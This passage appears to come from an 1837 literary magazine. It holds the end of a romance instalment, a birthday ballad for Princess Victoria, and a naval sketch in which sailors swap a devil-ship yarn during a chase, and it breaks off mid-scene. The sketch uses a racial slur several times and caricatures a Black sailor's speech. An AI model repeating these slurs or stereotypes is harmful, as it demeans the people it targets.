+bathed in the dew of terror. 'Niall!--Niall!' did I cry, did I shriek;
+and Niall was there, and I shrieked in vain--'Niall!--Niall!'----"
+
+"Here!" cried Niall himself, springing from a copse, out of which led
+a path that made a short cut across an angle of the road, and throwing
+himself breathless at the feet of Glorvina.
+
+The astonished maid stood motionless, gazing on the young man, who
+remained kneeling, until her companion, taking her hand, and calling her
+by her name, aroused her from the trance of astonishment.
+
+"Come," said Myra, "let us return;" and, motioning to the young man to
+follow them, she led her passive companion back to the lonely retreat
+whither Malachi had transported his fair child.
+
+Glorvina did not perfectly recover her self-possession till she arrived
+at the door. Then she stopped, and turning, bent her bright gaze full
+upon the wondering Niall, who moved not another step.
+
+"Niall--if you are Niall--" said the maid. She paused, and a sigh
+passed, in spite of them, the lips that would have kept it in: "If you
+are the Niall," she resumed, "to whom I said farewell four years ago,
+the day and the hour are not unwelcome that bring back, in health, and
+strength, and happiness, the playmate of our childhood to the land of
+his fathers; and we bless God that he has suffered them to shine. But
+why comes Niall hither? Who taught him to doubt the testimony of the
+tomb? Who directed his steps to the solitudes of the mountains, the
+woods, and the lakes? Who cried, "God speed!" when his heel left the
+home of my father behind it? Was it the master of that home?--was it
+Malachi, my father?"
+
+A thought that had not occurred to him before, seemed suddenly to cross
+the mind of Niall. His lips that would have spoken remained motionless,
+his cheek coloured, his eye fell to the feet of Glorvina; he stood
+confounded and abashed.
+
+"'Tis well!" cried the stately maid. "The tongue of Niall is yet
+unacquainted with falsehood, though his feet may be no strangers to
+the steps of rashness. The repast is spread; enter and partake!" and
+she paused for a second or two. Niall slowly lifted his eyes till they
+met those of Glorvina; apprehension and supplication mingled in the
+gaze of the youth. At length, with a tone that spoke at once compassion
+and resolve, the word "Depart!" found utterance; and the maid and her
+companion, stepping aside, left the entrance of their lonely habitation
+free, as Niall mechanically passed in.
+
+                  (_To be concluded in our next._)
+
+
+
+
+          THE ROYAL ROSE OF ENGLAND.
+               AN IRISH BALLAD,
+    ON THE BIRTH-DAY OF THE PRINCESS VICTORIA,
+
+                 MAY 24, 1837.
+
+                 BY J. A. WADE.
+
+     Tune--"_Young Love lived once._"
+
+                 I.
+    Within a fine ould ancient pile
+        (Where long may splendour
+        And luck attend her!)
+    The Royal Hope of Britain's isle
+    Has shed her eighteenth summer's smile!
+        No winter mornin'
+        Was at her bornin',
+    But with the spring she did come forth,
+    A flow'r of Beauty, without guile,
+    Perfumin' sweet the neighb'rin' earth!
+
+                II.
+    We've seen the blossom 'pon the stem
+        From early childhood--
+        Both in the wild-wood
+    And in the halls where many a gem
+    Did sparkle from the diadem,
+        But always bloomin',
+        Without presumin'
+    On the rich cradle of her birth;
+    Her eyes beam'd softly--while from them
+    All _others_ gather'd love and mirth!
+
+               III.
+    Dear offspring of a royal race,
+        In this dominion
+        (It's my opinion)
+    There's not a soul that sees your face,
+    But prays for it sweet Heaven's grace.
+        May every birth-day
+        Be found a mirth-day,--
+    No clouds or tears e'er frown or weep,
+    But Pleasure's smile where'er you pace
+    Bless you for ever 'wake or 'sleep!
+
+   [Illustration: Jack outwitting Davy Jones]
+
+
+
+
+                  NIGHTS AT SEA:
+    _Or, Sketches of Naval Life during the War._
+                BY THE OLD SAILOR.
+
+                    No. III.
+
+        WITH AN ILLUSTRATION BY GEORGE CRUIKSHANK.
+
+            THE CHASE.--THE FORECASTLE YARN.
+
+    "Not a cloud is before her
+        To dim her pure light;
+      Not a shadow comes o'er her,
+        Her beauty to blight:
+      But she glows in soft lustre--
+        One star by her side--
+      From her throne in the azure,
+        Earth's beautiful bride."
+
+
+A cheerless and disheartening spectacle is a dismasted ship, with all
+her mass of wreck still clinging to the hull, that it once bore proudly
+over the billows! 'Tis like the unfortunate abandoned by his friends,
+who, however, continue to hang around him, though more to impede his way
+than to retrieve his fortunes! And there lay the Spankaway, with her
+long line of taper spars reversed, their heads in the water, and their
+heels uppermost; and, as if in mockery of the mishap, the beautiful
+bright moon showed their diminished shadows on the again smooth surface
+of the ocean. The squall had passed far away to leeward, and was
+dwindling to a mere speck of silvery vapour, whilst all besides was
+still, and calm, and passionless.
+
+Now it was no pleasant sight to Lord Eustace Dash and his officers to
+witness the dismantling of the craft they loved; and, as the chief, it
+may be naturally supposed that the chagrin of his lordship far exceeded
+that of his subs: but there was one amongst them almost affected to
+tears, and that was old Will Parallel, the master.
+
+"Smack smooth to the lower caps, by ----!" said his lordship, as he
+surveyed the havoc made in his dashing frigate; "not a rope-yarn above
+the lower mast-heads, and--"
+
+"Not a bit of canvass abroad big enough to make a clout for a babby,"
+chimed in the old master; "spanker, jib, topsels all gone to the devil,
+as 'll have no more manner o' use for 'em than a serjeant of jollies has
+for a hand-bible."
+
+"Where's Mr. ----?" shouted his lordship, and the master's mate who had
+had charge of the deck stood before him. "How came all this, sir?"
+
+"It was a white squall, my lord," returned the young man addressed; "not
+a soul saw it till it caught the ship, and the topmasts went over the
+side immediately."
+
+"I shall inquire into the fact presently, sir," rejoined his lordship,
+excessively vexed and mortified. "Turn the hands up--clear the wreck!"
+
+"Hands up--clear the wreck!" shouted the first lieutenant.
+
+"Hands up--clear the wreck!" repeated the master's mate.
+
+"Boatswain's mate, pipe 'Clear the wreck!'" reiterated the midshipmen.
+"Twhit! twhit!" went the call; and, "Clear wreck, a-hoy!" vociferated
+Jack Sheavehole, in a voice resembling the roar of the bellows of an
+anchor-forge. The summons, however, was hardly necessary, as every soul
+had _tumbled_ up at the moment the frigate righted; and all turned to
+with a hearty goodwill to repair damages, every officer and man using
+his best exertions.
+
+"The squall spoilt our fun, master," said the first lieutenant to
+old Parallel, as the latter was superintending the preparations for
+unrigging the old, and rigging the new spare topmasts.
+
+"Ay! ay! 'twas an onfortunate _blow_ to the harmony of the evening; but
+it will do for an incident for Nugent," responded the veteran. "Where's
+his fine lady curtcheying to herself in a mirror now? If he had stuck
+to plain matter-of-fact, mayhap the spars would have behaved better;
+though, arter all, it's a marcy they were so carroty, or mayhap her
+ladyship might have curtcheyed so low as to have gone to the bottom."
+
+That night was a night of arduous but light-hearted toil; no man shrunk
+from his task; and, when they piped to breakfast next morning, the
+frigate was once more all ataunt'o, with royals and studding-sails set,
+in chase of a large ship of warlike appearance that was seen in the
+north-west, running away large, apparently bound in for Toulon.
+
+"Foretopsel-yard, there!" shouted Lord Eustace, from the quarter-deck.
+"What do you make of her, Mr. Nugent?"
+
+"She's nearly end on, my lord," responded the young lieutenant, as,
+steadying himself by the topsail-tie, he directed his glass towards the
+stranger; and then, in a few minutes, added, "She spreads a broad cloth,
+my lord; and, from the cut of her canvass, I should most certainly
+say----" and he paused to take another look.
+
+"I'd take my daffy on it, Mr. Nugent," said the look-out man, "her
+topsels are more hollowed out than ourn; her royals never came out of a
+British dock-yard; and I'd bet my six months' whack again a scupper-nail
+that she's a Frenchman, and a large frigate too."
+
+"Well, what is she, Nugent?" shouted the noble captain. "Can you see
+down to her courses!"
+
+"Yes, my lord," responded the lieutenant; "we shall, I hope, have her
+hull in sight before long, as I have no hesitation in saying--that is,
+my lord, I think she's an enemy frigate."
+
+This annunciation was heard fore and aft; for, during the time of his
+lordship hailing, every whisper was hushed, and scarcely even a limb
+moved, lest the listener should lose the replies. Expectations had been
+raised that the vessel in sight might be a French transport, from the
+Egyptian coast, or perhaps a merchantman; but the chance of an enemy's
+frigate was indeed joyous news. Breakfast was hastily despatched; the
+mess-kits were speedily stowed away, and the boatswain's shrill call
+echoed amongst the canvass as he piped "Make sail, ahoy!" In an instant
+every man was at his station; every yard of cloth that could catch
+a breath of wind was packed upon the Spankaway, who seemed to glide
+along through the water just as easy as when she first started from the
+buttered slips. Indeed, Jack Sheavehole declared that "she wur all the
+better for the spree she'd had the night afore."
+
+An exciting period is the time of chase, and it is extremely interesting
+to observe the anxious looks of the officers as they eye the trim of
+the sails, and the ready attention of the tars as they execute the
+most minute command, as if everything depended on their own individual
+exertions. The usual routine of duty frequently gives place to the
+all-absorbing stimulus which actuates every mind alike; and, as the
+seamen group themselves together, they spin their yarns of battles and
+captures, and calculate their share of the amount of prize-money before
+they engage the enemy, totally regardless of the advice in the "Cook's
+Oracle," viz. "First catch an eel, and then skin him." But what have
+they to do with the "Cook's Oracle," when every man is by rotation cook
+of the mess in his own natural right, and "gets the plush (overplus) of
+grog?"
+
+All day the chase continued; and the Spankaway overhauled the stranger
+so as materially to lessen the distance between them: in fact, her hull
+could be plainly discerned from the deck, and there was no longer any
+doubt of her national character. In the afternoon permission was given
+to take the hammocks below, but not a man availed himself of it; they
+were therefore re-stowed in readiness for that engagement which all
+hearts were eager for, all hands itching to begin. Evening closed in,
+and keen eyes were employed to keep sight of the enemy. The men lay down
+at their quarters; some to take a nigger's sleep,--one eye shut and the
+other open; some to converse in good audible whispers; some leaning out
+at the ports, and watching the moonbeams reflected on the waters, whilst
+the hissing and chattering noise made by the progress of the ship was
+sweet music to their ears.
+
+It was a lovely night for contemplation,--but what did Jack want with
+contemplation whilst an enemy's frigate was in sight? The breeze was
+light enough to please a lady,--it would have scarcely vibrated the
+cords of an Æolian lyre: but this was not the breeze for our honest
+tars; they wanted to hear the gale thrilling through the harpstrings of
+the standing rigging, with a running accompaniment of deep bass from the
+ocean, as their counter, set in sea, trebled the piping noise of the
+wind. Yet there was one satisfaction; the Frenchman had no more than
+themselves, and they carried every fresh capful along with them before
+it reached the chase. The full round moon tried her best endeavour to
+make her borrowed radiance equally as luminous as that of the glorious
+orb which so generously granted the loan, with only one provision,
+that a certain rate of interest should be paid to the earth; but the
+old girl on this night tried to sport the principal. The waters were
+lucidly clear, and the mimic waves on its surface would scarcely have
+been a rough sea to that model of a Dutch dogger--a walnut-shell. Yet
+the Spankaway was stealing along some seven knots an hour, and the sails
+just slept a dreamer's sleep.
+
+On the forecastle--that post of honour to a seaman, where the tallest
+and the best of Britain's pride are always to be found--men who can
+take the weather-wheel, heave the lead, splice a cable, or furl a
+foresail,--the A. B.'s of the royal navy,--on the forecastle, just
+in amidships, before the mast, sat our old friend, Jack Sheavehole,
+Sam Slick, the ship's tailor, Joe Nighthead, Mungo Pearl, a negro
+captain of the sweepers, Jemmy Ducks, the poulterer, Bob Martingal, a
+forecastleman, and several others, who were stationed at the foremost
+guns.
+
+"I just tell you what it is, Jack," said Bob Martingal, continuing a
+dispute that had arisen, "I tell you what it is; some on you is as
+onbelieving as that 'ere Jew as they've legged down so much again, and
+who, they say, is working a traverse all over the world to this very
+hour, with a billy-goat's beard afore him as long as a chafing mat. But,
+take care, my boyo, you arn't conwincetecated some o' these here odd
+times, when you least expects it."
+
+"Onbelieving about what, Bob?" responded the boatswain's mate.
+"Onbelieving 'cause we don't hoist in all your precious tough yarns as
+'ud raise a fellow's hair on eend, and make his head look a mainshroud
+dead-eye stuck round with marlin'-spikes?"
+
+"Or a cushionful of pins," chimed in Sam Slick.
+
+"Or a duck with his tail up," added the poulterer.
+
+"Hould your precious tongues, you lubbers!--what should you know about
+the build and rig of a devil's own craft? retorted Bob, addressing the
+two officials. "My messmate here, and that's ould Jack, has got a good
+and nat'ral right to calculate the jometry of the thing, seeing as he
+has sarved his life to the ocean, man and boy, and knows an eyelet-hole
+from a goose's gun-room, which, I take it, is more nor both on you
+together can diskiver either in the twist of a button-catcher or the
+drawing of a pullet. But I'm saying, Jack, you are onbelieving,--else
+why do you misdoubt the woracity of my reckoning."
+
+"'Cause you pitches it too strong, Bob," answered the boatswain's mate;
+"your reck'ning is summut like ould Blowhard's, as keeps the Duncan's
+Head at Castle-rag,--chalks two for one. Spin your yarns to the marines,
+Bob; they'll always believe you. Cause why?--they expects you'll just
+hould on by their monkey-tails in return."
+
+"Monkey-tails or no monkey-tails arn't the question," returned Bob with
+some warmth; "it's the devil's tail as I'm veering away upon, and----"
+
+"I'm blessed if it won't bring you up all standing with a roundturn
+round your neck some o' these here days," uttered Jack, interrupting him.
+
+"Never mind that," returned Bob with a knowing shake of the head; "I
+shall uncoil it again, if he arn't got the king's broad arrow on the end
+on it. But mayhap, then, you won't believe as there is such a justice o'
+peace as ould Davy?"
+
+"Do I believe my catechiz as I forgot long ago?" responded old Jack.
+"Why, yes, messmate, I wooll believe that there is a consarn o' the
+kind; but not such a justice o' peace as you'd make of him, rigged out
+in one o' your 'long-shore clargy's sky-scraper shovel-nosed trucks,
+leather breeches, and top-boots! I tell you it won't do, Bob, in the
+regard o' the jography o' the matter. Why, where the h--is he to coil
+away his outrigger in a pair of tight leather rudder casings over his
+starn? Ax the tailor there whether it arn't onpossible. And how could
+he keep top-boots on to his d--d onprincipled shanks, as are no better
+in the fashion of their cut than a couple of cow's trotters? And what
+single truck would fit two mast-heads at once, seeing as he al'ays
+carries a pair of horns as big as a bull's. No, no, Bob; you wants
+to make a gentleman of the picarooning wagabone, when everybody as
+knows anything about him knows he's a thundering blagguard, as my ould
+captain, Sir Joseph Y--ke, used to say in one of his beautiful sarmons,
+'he goes cruising about seeking to devour a roaring lion,' and that's
+no child's play anyhow! But, howsomever, a yarn's a yarn, ould chap; so
+lather-away with your oak stick: I'll hoist in all I can, just to confar
+a favour on you; and, as for the rest, why I'll let it go by the run."
+
+"I must crave permission to put in a word, since I have been
+professionally appealed to," said Sam Slick with becoming gravity, and
+smoothing down the nap of his sleeping-jacket. "With respect to the
+breeches,--wash-leather, after they have been worn for some time, will
+give and stretch, and----"
+
+"Come, none o' your stretching, Sam," chimed in Jemmy Ducks. "What
+you've got to show is, whether you can stow a cable in a hen-coop."
+
+"Not exactly," returned Sam; "for I'm sure Mister Sheavehole must allow
+that the capacity and capability of a pair of leather breeches----"
+
+"I shan't never allow no such consarns as them 'ere!" exclaimed Jack.
+"Do, Bob, get on with your yarn, and clap a stopper on the lubber's
+jawing-gear."
+
+"Well, since you've put me upon it by misdoubting my woracity," said
+Bob, "why, I'll up and tell you a thing or two. Which on you has ever
+been down to Baltimore?"
+
+"I have," returned a forecastleman, impatient to wedge in a word or two.
+"I was there onest in a ship transport, and our jolly-boat broke adrift
+in the night, and went ashore without leave; and so, next morning, we
+sees her lying on the beach all alone, as if she'd been a liberty-boy
+hard up in the regard o' the whiskey. And so the second mate and a party
+goes to launch her: but some wild Ingines, only they warn't quite black,
+came down, and wouldn't let us lay a finger on her till we'd paid summut
+for hauling her up, which was all nat'ral in course; but the second mate
+hadn't never got not a single copper whatsomever about him, and so he
+orders us to launch her whether or no, Tom Collins; and, my eyes! but
+they did kick up a shindy, jabbering in a lingo like double Dutch coiled
+again the sun; and says one on 'em, seeing as we were man-handling the
+boat, says he, 'Arrah, Tim, call to de boys to bring down de shticks----
+'"
+
+"You means Baltimore in Ireland," uttered Bob, with some degree of
+contempt, "and I means Baltimore in the United States o' Maryland, where
+the river runs along about three leagues out of Chesapeake Bay,--and a
+pretty place it is too of a Saturday night for a bit of a John Canooing,
+and a bite of pigtail, letting alone the grog and the gals----"
+
+"Which you never did, Bob, I'll be sworn," said Jack laughing.
+
+"Never did what, Jack?" asked the other, apparently surprised at the
+positive assertion.
+
+"Why, let the grog and the gals alone, God A'mighty bless both on 'em!"
+replied the boatswain's mate; "but heave a-head, my hearty."
+
+Bob gave a self-satisfied grin, and proceeded. "Why, d'ye mind, I'd been
+fool enough to grease my heels from a hooker,--no matter whatsomever
+her name might be or where she sailed from, seeing as she carried a
+coach-whip at her main-truck and a rogue's yarn in her standing and
+running gear. But I was young and foolish, and my brains hadn't come to
+their proper growth; and one o' your land-sharks had got a grip o' me;
+and there I was a-capering ashore, and jumping about like a ring-tail
+monkey over a hot plantain; and so I brings up at the sign of the
+General Washingtub, and there used to be a lot of outrageous tarnation
+swankers meet there for a night's spree,--fellows as carried bright
+marlin'-spikes in their pockets for toothpicks, and what not, and
+sported Spanish dollars on their jackets for buttons. They belonged to
+a craft as laid in the harbour,--a reg'lar clipper, all legs and wings:
+she had a white cherry-bum for a figure-head; ounly there was a couple
+o' grease-horns sprouting out on the forehead, and she was as pretty a
+piece of timber upon the water as ever was modelled by the hand of the
+devil."
+
+"Why, how do you know who moulded her frame, Bob?" inquired Jack
+provokingly. "It might have been some honest man's son, instead of the
+ould chap as you mentions. But if any one sees a beautiful hooker that's
+more beautifuller nor another, then she's logged down as the devil's own
+build, and rigged by the captain of the sweepers."
+
+"Wharra you mean by dat, Massa Jack?" exclaimed Mungo Pearl, who held
+that honourable station, and felt his dignity offended by the allusion;
+"wharra you mean by dat, eh?"
+
+"Just shut your black-hole," answered Jack with a knowing look; "don't
+the ould witches ride upon birch-brooms, and sweep through the air,--and
+arn't the devil their commander-in-chief? Well, then, in course he is
+captain o' the sweepers. But go along, Bob. I'll lay my allowance o'
+grog to-morrow she was painted black."
+
+"Well, so she was, Jack," responded Martingal, "all but a narrow fiery
+red ribbon round her sides, as looked for all the world like a flash o'
+lightning darting out of a thunder-cloud; and her name was the In-fun-oh
+(Infernaux), but I'm d--d if there was any fun in the consarn arter
+all. Well, d'ye see, the hands were a jolly jovial set, with dollars
+as plentiful as boys' dumps, and they pitched 'em away at the lucky,
+and made all sneer again. The skipper was a civil-spoken gentleman,
+with a goodish-sized ugly figure-head of his own, one eye kivered over
+with a black patch, and the other summut like a stale mackerel's; but
+it never laid still, and was al'ays sluing round and round, 'cause it
+had to do double duty. Still he was a pleasantish sort of a chap, and
+had such a 'ticing way with him, that when he axed me to ship in the
+craft, I'm blow'd if I could say 'No,' though I felt summut dubersome
+about the consarn; and the more in regard of an ould tar telling me
+the black patch was all a sham, but he was obliged to kiver the eye
+up, 'cause it was a ball o' fire as looked like a glowing cinder in
+a fresh breeze. He'd sailed with him a voyage or two, and he swore
+that he had often seen the skipper clap his cigar under the false port
+and light it by his eye; and one night in a gale o' wind, when the
+binnacle-lamp couldn't be kept burning, he steered the ship a straight
+course by the compass from the brightness of his eye upon the card.
+Howsomever, I didn't much heed to all that 'ere, seeing as I knowed
+how to spin a tough yarn myself: and then there was the grog and the
+shiners, a sweet ship and civil dealing; and I'll just ax what's the
+use o' being nice about owners, as long as you do what's right and
+ship-shape? 'Still, messmate,' thinks I to myself, 'it's best not to be
+too much in a hurry;' so I backs and fills, just dropping with the tide
+of inclination, and now and then letting go the kedge o' contradiction
+to swing off from the shore; and at last I tould him 'I'd let him know
+next day.' Well, I goes to the ould tar as I mentioned afore, and I
+tells him all about it. 'Don't go for to sign articles in no such a
+craft as that 'ere,' says he in a moloncholy way.--'Why not?' says I,
+quite gleesome and careless, though there was a summut that comothered
+me all over when he spoke.--'I mustn't tell you,' says he; 'but take my
+advice, and never set foot on board a craft that arn't got no 'sponsible
+owners,' says he.--'You must tell me more nor that,' says I, 'or you
+may as well tell me nothing. You've been to sea in her, and are safe
+enough; why shouldn't I?'--'I advise you for your good,' says he again,
+all fatherlike and gently; 'you can do as you please. You talk of my
+safety,' and he looked cautiously round him; 'but it's the parsen as has
+done it for me.'--'Oh! I see how the land lies,' says I; 'you're a bit
+of a methodish, and so strained the yarns o' your conscience, 'cause you
+made a trip to the coast o' Guinea for black wool.'--He shook his head:
+'Black wool, indeed,' says he; 'but no man as knows what I knows would
+ever lay hand to sheet home a topsel for a commander who----' and he
+brought up his speech all standing.--'Who what?' axes I; but he wouldn't
+answer: and so, being a little hopstropulous in my mind, and willing to
+try the hooker, 'It's no matter,' says I, 'I'll have a shy at her if I
+loses my beaver. No man can expect to have the devil's luck and his own
+too.'--'That's it!' says he, starting out like a dogvane in a sudden
+puff.--'That's what?' axes I.--'The devil's luck!' says he: 'don't
+go for to ship in that craft. She's handsome to look at; but, like a
+painted scullerpar, or sea-poll-ker, or some such name, she's full o'
+dead men's bones.'--'Gammon!' says I boldly with my tongue, though I
+must own, shipmates, there was summut of a flusteration in my heart as
+made me rather timbersome; 'Gammon!' says I, 'what 'ud they do with such
+a cargo even in a slaver?'--'I sees you're wilful,' says he angrily;
+'but log this down in your memory: if you do ship in that 'ere craft,
+you'll be d--d!'--'Then I'll be d--d if I don't:' says I, 'and so, ould
+crusty-gripes, here goes;' and away I started down to one of the keys
+just to take a look at her afore I entered woluntary; and there she lay
+snoozing as quiet as a cat on a hearth-rug, or a mouse in the caulker's
+oakum. Below, she was as black as the ace o' spades, and almost as sharp
+in the nose; but, aloft, her white tapering spars showed like a delicate
+lady's fingers in silk-net gloves----"
+
+"Or holding a skein of silk," chimed in Sam Slick.
+
+"Well, shipmates," continued Bob; "whilst I was taking a pretty long
+eye-drift over her hull and rigging, and casting my thoughts about the
+skipper, somebody taps me on the arm, and when I slued round, there
+he was himself, _in properer personnee_; and, 'Think o' the devil,'
+says I, 'and he's over your shoulder, saving your honour's presence,
+and I hopes no offence.' Well, I'm blessed but his eye--that's his
+onkivered one, messmates--twinkled and scaled over dark again, just for
+all the world like a revolving light, and 'Not no offence at all, my
+man,' says he; 'it's al'ays best to be plain-spoken in such consarns;
+we shall know one another better by-and-by. But how do you like the
+ship?'--'She's a sweet craft, your honour,' says I; 'and I should have
+no objection to a good berth on board her, provided we can come to
+reg'lar agreement.'--'We shall not quarrel, I dare say, my man,' says
+he, quite cool and insinivating; 'my people never grumble with their
+wages, and you see yourself they wants for nothing.'--'All well and
+good, your honour,' says I; 'and, to make short of the long of it, Bob
+Martingal's your own.' Well, his eye twinkled again, and there seemed to
+be such a heaving and setting just under the tails of his long togs, and
+a sort o' rustling down one leg of his trousers, that blow me if I could
+tell what to make on it; and 'I knew you'd be mine,' says he: 'we shall
+go to sea in the morning, so you'd better get your traps aboard as soon
+as possible.' Well, messmates, I bids him good morning; but, thinks I to
+myself, I'll just take a bit of a overhaul of the craft afore I brings
+my duds aboard; and so, jumping into a punt, a black fellow pulls me
+alongside, and away I goes on to the deck, and there the first person I
+seed was the skipper. How he came there was a puzzler, for d--the boat
+had left the key but our own since we parted a few minutes afore. 'And
+now, Bob,' says he, 'I suppose you are ready to sign.'--'All in good
+time, your honour,' says I. 'You're aboard afore me, but I'm blessed if
+I seed you come.'--'It warn't necessary you should,' says he; 'my boat
+travels quick, my man, and makes short miles.'--'All's the same for
+that, your honour,' says I, 'whether you man your barge or float off
+on the anchor-stock--it's all as one to Bob.'--'You're a 'cute lad,'
+says he, twinkling his eye, 'and must rise in the sarvice. Go below
+and visit your future shipmates.'--'Thanky, your honour,' says I, and
+down the hatchway I goes; and there were the messes, with fids o' roast
+beef and boiled yams in shining silver platters, with silver spoons,
+and bottles o' wine, all in grand style, as quite comflogisticated me;
+and 'What cheer--what cheer, shipmate?' says they; and then they axed
+me to take some grub with 'em, which in course I did. She'd a noble
+'tween decks,--broad in the beam, with plenty o' room to swing hammocks;
+but, instead of finding ounly twenty hands, I'm blowed if there warn't
+more nor a hundred. So arter I'd had a good tuck-out, I goes on deck
+again and looks about me. She was a corvette, flush fore and aft, with
+a tier of port-holes, but ounly six guns mounted; and never even in a
+man-o'-war did I see everything so snug and neat. 'Well, your honour,
+I'm ready to sign articles,' says I.--'Very good,' says he; and down
+we goes into the cabin; and, my eyes! but there was a set-out,--gold
+candlesticks and lamps, and large silver figures, like young himps,
+and clear looking-glasses, and silk curtains, and handsome sofas; and
+there upon one on 'em sat a beautiful young creatur, with such a pair
+of large full eyes as blue as the sky, and white flaxen hair that hung
+like fleecy clouds about her forehead,--it made a fellow think of
+heaven and the angels: but she never smiled, shipmates,--there was a
+moloncholy about the lower part of her face as showed she warn't by no
+manner o' means happy; and whilst the skipper was getting the articles
+out of the locker, she motioned to me, but I couldn't make out what
+she meant. The skipper did, though; for he turned round in a fury, and
+stamped on the cabin deck as he lifted up the black patch, and a stream
+of light for all the world like the glow of a furnace through a chink
+in a dark night fell upon her. He had his back to me, so I couldn't
+make out where the light came from; but the poor young lady gave a
+skreek and fell backard on the sofa. Now, messmates, I'd obsarved that
+when he stamped with his foot that it warn't at all like a nat'ral
+human stamp, for it came down more like the hoof of a horse or a box;
+and thinks I to myself, 'I'm d--, Bob, but you're in for it now; the
+skipper must be a devil of a fellow to use such a lovely creatur arter
+that fashion.'--'You're right, my man,' says he, grinning like one o'
+them faces on the cat-head, 'he _is_ a _devil_ of a fellow.'--'I never
+spoke not never a word, your honour,' says I, thrown all aback by the
+concussion. 'No, but you thought it,' says he; 'don't trouble yourself
+to deny it: tell lies to everybody else, if you pleases, but it's
+no use selling 'em to me.'--'God forbid, your--' I was going to say
+'honour,' but he stopped me with another stamp, and 'Never speak that
+name in my presence again,' says he; 'if you do, it ull be the worse
+for you. Come and sign the articles.' My eyes! shipmates, but I was
+in a pretty conflobergasticationment; there stood the skipper, with a
+bright steel pen in his hand as looked like a doctor's lanchet, and
+there close by his side, upon her beam-ends, laid that lovely young
+creatur, the sparkling jewels in her dress mocking the wretchedness of
+her countenance. 'Are you ready?' says he; and his onkivered eye rolled
+round and round, and seemed to send out sparks through the friction.
+'Not exactly, your honour,' says I, 'for I carn't write, in regard o'
+my having sprained both ankles, and got a twist in my knee-joint when
+I warn't much higher than a quart pot.'--'That's a lie, Bob,' says he;
+and so it was, messmates, for I thought I must make some excuse to save
+time. 'Howsomever,' says he, 'you can make your mark.'--Thinks I so
+myself, 'I would pretty soon, my tight un, if I had you ashore.'--'I
+know it,' says he; 'but you're aboard now, and so you may either
+sign or not, just as it suits your fancy, my man; ounly understand
+this--if you don't sign, you shall be clapped in irons, and fed upon
+iron hoops and scupper-nails for the next six months, and I wish you
+a good disgestion.'--'Thanky, your honour,' says I; 'and what if I do
+sign?'--'Why then,' says he, 'you shall live like a fighting-cock,
+and have as much suction as the Prince of Whales.' Well, shipmates,
+I was just like the Yankee's schooner when she got jammed atwixt two
+winds, and so I thought there could be no very great damage in making a
+scratch or two upon a bit o' parchment; and 'All right, your honour,'
+says I; 'hand us over the pen: but your honour hasn't got not never
+an inkstand.'--'That's none o' your business,' says he; 'if you are
+resolved to sign, I'll find materials.'--'Very good,' says I; 'I'll just
+make my mark.'--'Hould up!' says he to the young lady; and she scringed
+all together in a heap, and shut her large blue eyes as she held up a
+beautiful white round arm, bare up to the shoulder: it looked as solid
+and as firm as a piece of marble stationery."
+
+"Statuary, you mean," said Sam Slick, interrupting the narrative. "But I
+say, Bob, do you expect us to believe all this?"
+
+"I believes every word on it," asserted Jemmy Ducks, who had been
+attentively listening, with his mouth wide open to catch all that was
+uttered: "what can you find onnat'ral or dubersome about it? The skipper
+was no doubt a black-hearted nigger."
+
+"Nigger yousef, Massa Jemmy Ducks," exclaimed Mungo Pearl; "d--you black
+heart for twist 'em poultry neck."
+
+"Silence there in amidships," said Mr. Parallel: "you make so much noise
+that I can't keep my glass steady. Spin your yarns, Mr. Pearl, with your
+mouth shut, like an oyster;" and then, addressing the captain, "We rise
+her fast, my lord, and the breeze freshens: the ould beauty knows she's
+got some work cut out for her; she begins to smell garlic, and walks
+along like an ostrich on the stretch--legs and wings, and all in full
+play."
+
+"What distance are we from Toulon?" inquired Lord Eustace, as he
+carefully and anxiously scanned the stranger through his glass.
+
+"About nine leagues," promptly answered Mr. Parallel; "and if the
+breeze houlds on, or comes stronger, another three hours will carry us
+alongside of the enemy."
+
+"We shall soon have her within reach of the bow-guns," said the first
+lieutenant, "and a shot well thrown may take in some of her canvass."
+
+"That's a good deal of it chance-work," responded the master; "it mought
+and it moughtn't; but firing is sure to frighten the----"
+
+"Spirits of the wind," added Nugent, who stood close beside him; "they
+become alarmed and take to flight, and so we lose the flapping of their
+airy wings."
+
+"Hairy grandmother," grumbled old Parallel, "hairy wings indeed; why,
+who ever seed such a thing? Spirits of wind, too,--rum spirits, mayhap,
+to cure flatulency. Stick to natur, Mr. Nugent, or she'll be giving us
+another squall, just out o' revenge for being ridiculed."
+
+"Get on with your yarn, Bobbo," said Joe Nighthead in an under tone;
+"and just you take a reef in your bellows, Mister Mungo, and don't speak
+so loud again."
+
+"Where was I?" inquired Bob thoughtfully: "oh, now I recollect;--down
+in the cabin, going to sign the articles. 'Are you quite ready?' says
+the skipper to me as he raised the pen. 'All ready,' says I.--'Then
+hould up,' says he to the young lady, and she raised her fair arm. 'Come
+here, my man,' says he again to me, and I clapped him close alongside
+at the table; 'be ready to grab hould o' the pen in a moment, and make
+your mark _there_,' and he pointed to a spot on the parchment, with a
+brimstone seal stamped again it--you might have smelt it, messmates,
+for half a league--and, I'm blessed if I didn't have a fit o' the
+doldrums; but, nevertheless, I put a bould face upon it, and, 'Happy
+go lucky,' says I, 'all's one to Bob!' and then there was another
+rustling noise down the leg of his trousers, and his eye--that's his
+onkivered one--flashed again, and took to rolling out sparks like a
+flint-mill; 'Listen, my man,' says he, 'to what I'm going to say,
+and pay strict attention to it'--'I wool, your honour,' says I; 'but
+hadn't the lady better put down her arm?' says I; 'it ull make it ache,
+keeping it up so long.'--'Mind your own business, Bob Martingal,'
+says he, quite cantankerously; 'she's houlding the inkstand.'--'Who's
+cracking now, your honour?' says I laughing; 'the lady arn't got not
+nothing whatsomever in her hand. I'm blowed if I don't think you all
+carries out the name o' the craft In-fun-oh.'--'Right,' says he; 'and
+now attend. If after I have dipt this here pen in the ink, you refuse
+to sign the articles--you have heard o' this?' and he touched the
+black patch. I gave a devil-may-care sort of a nod. 'Well, then, if
+you refuses to sign, I'll nillyate you.'--'Never fear,' says I, making
+out to be as bould as a lion, for there was ounly he and I men-folk
+in the cabin; and, thinks I to myself, 'I'm a match for him singly at
+any rate.'--'You're mistaken,' says he, 'and you'll find it out to
+your cost, if you don't mind your behaviour, Bob Martingal.'--'I never
+opened my lips, your honour,' says I.--'Take care you don't,' says he,
+'and be sure to obey orders.' He turned to the lady. 'Are you prepared,
+Marian?' axes he; but she never spoke. 'She's faint, your honour,' says
+I, 'God bless her!' The spiteful wretch give me a red-hot look, and
+his d---- oncivil cloven foot--for I'd swear to the mark it made--came
+crushing on my toes, and made me sing out blue blazes. 'Is that obeying
+orders?' says he: 'didn't I command you never to use that name afore
+me?'--'You did, your honour,' says I; 'but you might have kept your
